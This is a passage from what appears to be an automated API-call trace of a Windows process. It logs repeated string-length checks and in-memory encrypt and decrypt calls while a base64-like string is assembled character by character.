OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.015] SysStringLen (param_1="燆鸯䎅㧍ᖠ祕ꏏ") returned 0x8 [0222.015] SysStringLen (param_1="燆鸯䎅㧍ᖠ祕ꏏ") returned 0x8 [0222.015] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.016] SysStringLen (param_1="YkL1MNxs") returned 0x8 [0222.016] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.016] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅") returned 0x8 [0222.016] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅") returned 0x8 [0222.016] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅") returned 0x8 [0222.017] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅") returned 0x10 [0222.017] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.017] SysStringLen (param_1="YkL1MNxsc穈㺼㷚몴⨒羟඾") returned 0x10 [0222.017] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.017] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅ጀꏝᯐ⬏웿墂ꪉ") returned 0x10 [0222.017] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅ጀꏝᯐ⬏웿墂ꪉ") returned 0x10 [0222.017] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.017] SysStringLen (param_1="YkL1MNxsc7㺼㷚몴⨒羟඾") returned 0x10 [0222.017] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.017] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅꤉萠ꮪ팁摊屒") returned 0x10 [0222.017] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅꤉萠ꮪ팁摊屒") returned 0x10 [0222.017] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.018] SysStringLen (param_1="YkL1MNxsc7+㷚몴⨒羟඾") returned 0x10 [0222.018] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.018] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅궹鵰φ꿙㓹鱓") returned 0x10 [0222.018] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅궹鵰φ꿙㓹鱓") returned 0x10 [0222.018] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.018] SysStringLen (param_1="YkL1MNxsc7+t몴⨒羟඾") returned 0x10 [0222.018] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.018] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅澬・뀖뀫ﴤሐ㬗䞃") returned 0x10 [0222.018] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅澬・뀖뀫ﴤሐ㬗䞃") returned 0x10 [0222.018] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.018] SysStringLen (param_1="YkL1MNxsc7+tk⨒羟඾") returned 0x10 [0222.018] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.018] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅軝⛁䪭\駞⪜≼) returned 0x10 [0222.019] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅軝⛁䪭\駞⪜≼) returned 0x10 [0222.019] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.019] SysStringLen (param_1="YkL1MNxsc7+tkE羟඾") returned 0x10 [0222.019] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.019] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅挝\ꇚ⮝厐뱣㗒涕⋳) returned 0x10 [0222.019] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅挝\ꇚ⮝厐뱣㗒涕⋳) returned 0x10 [0222.019] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.019] SysStringLen (param_1="YkL1MNxsc7+tkEW඾") returned 0x10 [0222.019] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.019] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅켲㭩蟊ၛ椒Ⅾ") returned 0x10 [0222.019] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅켲㭩蟊ၛ椒Ⅾ") returned 0x10 [0222.019] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.019] SysStringLen (param_1="YkL1MNxsc7+tkEWG") returned 0x10 [0222.019] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.114] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ") returned 0x10 [0222.115] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ") returned 0x10 [0222.115] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ") returned 0x10 [0222.115] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ") returned 0x18 [0222.115] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.115] SysStringLen (param_1="YkL1MNxsc7+tkEWGI鵸垑꾾䉢⯙슯") returned 0x18 [0222.115] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.116] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ怓ᚓ⌻妕䖑뤠朇鍏") returned 0x18 [0222.116] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ怓ᚓ⌻妕䖑뤠朇鍏") returned 0x18 [0222.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.116] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZ垑꾾䉢⯙슯") returned 0x18 [0222.116] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.116] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ汀ང鳔褩䊔搭\⋘) returned 0x18 [0222.116] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ汀ང鳔褩䊔搭\⋘) returned 0x18 [0222.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.116] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE꾾䉢⯙슯") returned 0x18 [0222.116] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.116] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ叆앋脢䊮澵䂢做") returned 0x18 [0222.116] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ叆앋脢䊮澵䂢做") returned 0x18 [0222.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.117] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7䉢⯙슯") returned 0x18 [0222.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.117] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔἃײ⫎쇀僷罗⡜୲") returned 0x18 [0222.117] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔἃײ⫎쇀僷罗⡜୲") returned 0x18 [0222.117] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.117] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7r䉢⯙슯") returned 0x18 [0222.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.117] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔѪ튋偉ꘇ액馄") returned 0x18 [0222.117] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔѪ튋偉ꘇ액馄") returned 0x18 [0222.117] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.117] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rH⯙슯") returned 0x18 [0222.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.118] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔⓕㆸ贎쎢玁") returned 0x18 [0222.118] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔⓕㆸ贎쎢玁") returned 0x18 [0222.118] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.118] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHo슯") returned 0x18 [0222.118] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.118] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ展館꣙ꪑ਋ኾ螑吝") returned 0x18 [0222.118] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ展館꣙ꪑ਋ኾ螑吝") returned 0x18 [0222.118] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.118] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoW") returned 0x18 [0222.118] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.118] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩") returned 0x18 [0222.119] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩") returned 0x18 [0222.119] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩") returned 0x18 [0222.119] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩") returned 0x20 [0222.119] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.119] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWB꺠茒Ꞩ﯋貯\틘⋗) returned 0x20 [0222.119] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.119] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩㸖塤—淤ἀထ錿") returned 0x20 [0222.119] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩㸖塤—淤ἀထ錿") returned 0x20 [0222.119] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.120] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBm茒Ꞩ﯋貯\틘⋗) returned 0x20 [0222.120] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.120] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩\雝嶠ቃ酫㶏⺡⋃) returned 0x20 [0222.120] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩\雝嶠ቃ酫㶏⺡⋃) returned 0x20 [0222.120] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.120] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWꞨ﯋貯\틘⋗) returned 0x20 [0222.120] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.120] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩덢蕶붝ש㰔啮쯎₆") returned 0x20 [0222.120] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩덢蕶붝ש㰔啮쯎₆") returned 0x20 [0222.120] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.120] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWd﯋貯\틘⋗) returned 0x20 [0222.120] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.121] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩⒂亱㍊ܺ㡡胂훡觧") returned 0x20 [0222.121] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩⒂亱㍊ܺ㡡胂훡觧") returned 0x20 [0222.121] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.121] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdM貯\틘⋗) returned 0x20 [0222.121] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.121] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩ﺘ펰깺읢쑋㴖舜஡") returned 0x20 [0222.121] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩ﺘ펰깺읢쑋㴖舜஡") returned 0x20 [0222.121] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.121] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMF\틘⋗) returned 0x20 [0222.121] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.121] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩셿籴귕駴뵞") returned 0x20 [0222.121] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩셿籴귕駴뵞") returned 0x20 [0222.121] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.121] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQퟒ") returned 0x20 [0222.122] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.122] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩펩ᅖ氥⋖Ōᩅ䡨爖") returned 0x20 [0222.122] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩펩ᅖ氥⋖Ōᩅ䡨爖") returned 0x20 [0222.122] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.122] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2") returned 0x20 [0222.122] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.122] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈⊹) returned 0x20 [0222.122] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈⊹) returned 0x20 [0222.122] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈⊹) returned 0x20 [0222.123] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈⊹) returned 0x28 [0222.123] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.123] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2j仴꫒聗翜ꪸ뮑瑡") returned 0x28 [0222.123] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.123] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈승비볈⢟\쓳磡") returned 0x28 [0222.123] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈승비볈⢟\쓳磡") returned 0x28 [0222.123] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.123] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG꫒聗翜ꪸ뮑瑡") returned 0x28 [0222.123] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.123] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈솹⇂⁔꣛꣉鋑∥) returned 0x28 [0222.123] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈솹⇂⁔꣛꣉鋑∥) returned 0x28 [0222.123] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.124] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG2聗翜ꪸ뮑瑡") returned 0x28 [0222.124] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.124] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈㞹\ⳙ꬐袣ꀏ赥쎟") returned 0x28 [0222.124] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈㞹\ⳙ꬐袣ꀏ赥쎟") returned 0x28 [0222.124] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.124] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26翜ꪸ뮑瑡") returned 0x28 [0222.124] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.124] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈鶹ꝥ崞凴識Ὠ됉ឱ≌) returned 0x28 [0222.124] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈鶹ꝥ崞凴識Ὠ됉ឱ≌) returned 0x28 [0222.124] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.124] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pꪸ뮑瑡") returned 0x28 [0222.124] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.124] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈阏ܮ擃ﳴ뼌㋊⋺) returned 0x28 [0222.124] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈阏ܮ擃ﳴ뼌㋊⋺) returned 0x28 [0222.124] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.125] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pZ뮑瑡") returned 0x28 [0222.125] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.125] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈粹좱鋑괻\苝") returned 0x28 [0222.125] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈粹좱鋑괻\苝") returned 0x28 [0222.125] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.125] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pZk瑡") returned 0x28 [0222.125] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.125] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈ꖹ丣肤\㓘蕇蠳翚") returned 0x28 [0222.125] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈ꖹ丣肤\㓘蕇蠳翚") returned 0x28 [0222.125] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.125] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pZkC") returned 0x28 [0222.125] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.126] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜") returned 0x28 [0222.126] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜") returned 0x28 [0222.126] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜") returned 0x28 [0222.126] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜") returned 0x30 [0222.126] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.126] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pZkCy欜癷울⬱滥쬧") returned 0x30 [0222.126] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.126] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜淏暁쓏笕⭋縭囔졢") returned 0x30 [0222.126] SysStringLen 